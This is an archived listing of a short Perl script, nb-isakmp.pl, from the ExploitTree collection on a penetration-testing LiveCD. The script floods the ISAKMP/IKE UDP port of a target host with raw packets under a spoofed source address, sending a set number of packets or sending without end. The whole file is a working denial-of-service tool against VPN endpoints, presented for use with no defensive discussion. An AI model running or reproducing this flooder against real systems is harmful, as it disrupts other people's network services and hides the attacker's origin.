home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / vpn / windows / nb-isakmp.pl < prev   
Perl Script  |  2005-02-12  |  2KB  |  62 lines

  1. #!/usr/bin/perl -w
  2. ###############################################################################
  3. # Author        :       Nelson Brito
  4. # E-mail        :       nelson@SEKURE.ORG
  5. # File          :       nb-isakmp.pl
  6. # Version       :       0.3 Alpha
  7. ###############################################################################
  8. use Socket;
  9. use Net::RawIP;
  10. use Getopt::Std;
  11.  
  12. getopts("s:d:p:l:n:v:t:f:rL",\%o);$ver="0.3a";$0=~s#.*/##;
  13.  
  14. print"--- $0 v.$ver b/ Nelson Brito / Independent Security Consultant ---\n";
  15.  
  16. $l=$o{'l'}?$o{'l'}+28:800+28;$n=$o{'n'}?$o{'n'}/2:800/2;
  17. $v=$o{'v'}||4;$t=$o{'t'}||1;$f=$o{'f'}||0;$T=$o{'T'}||64;
  18. $p=$o{'p'}?$o{'p'}:(getservbyname('isakmp','udp')||die"getservbyname: $!\n");
  19.  
  20. ($o{'s'}&&$o{'d'})||die
  21. "\nUse: $0 [IP Options] [UDP Options]\n\n",
  22. "IP Options:\n",
  23. "\t\t-s*\tsource address to spoof\n",
  24. "\t\t-d*\tdestination address to attack\n",
  25. "\t\t-v\tIP Version\t\t\t\t(def: $v)\n",
  26. "\t\t-t\tIP Type of Service (TOS)\t\t(def: $t)\n",
  27. "\t\t-f\tIP fragementation offset\t\t(def: $f)\n",
  28. "\t\t-T\tIP Time to Live (TTL)\t\t\t(def: $T)\n",
  29. "UDP Options:\n",
  30. "\t\t-p\tdestination port to attack\t\t(def: $p)\n",
  31. "\t\t-l\tpacket length to send\t\t\t(def: $l)\n",
  32. "\t\t-r\tset randon data\t\t\t\t(def: \".\")\n",
  33. "Generic:\n",
  34. "\t\t-n\tnumber of packets to send\t\t(def: $n)\n",
  35. "\t\t-L\tsend packets forever\n\n",
  36. "Copyright ⌐ 2000 Nelson Brito <nelson\@SEKURE.ORG>.\n";
  37.  
  38. while($n > 0){
  39.     $|=1;print".";$sp=int rand 65535;
  40.     $D=$o{'r'}?(chr(int rand 255)) x $l:"." x $l;
  41.     $nb=new Net::RawIP({
  42.         ip=>
  43.         {
  44.             version=>$v,
  45.             tos=>$t,
  46.             ttl=>$T,
  47.             frag_off=>$f,
  48.             saddr=>$o{'s'},
  49.             daddr=>$o{'d'}
  50.         },
  51.         udp=>
  52.         {
  53.             source=>$sp,
  54.             dest=>$p,
  55.             len=>$l,
  56.             data=>$D
  57.         }
  58.     });
  59.     $nb->send;undef $nb;!$o{'L'}&&$n--;
  60. }
  61. print"Finish!\n";
  62.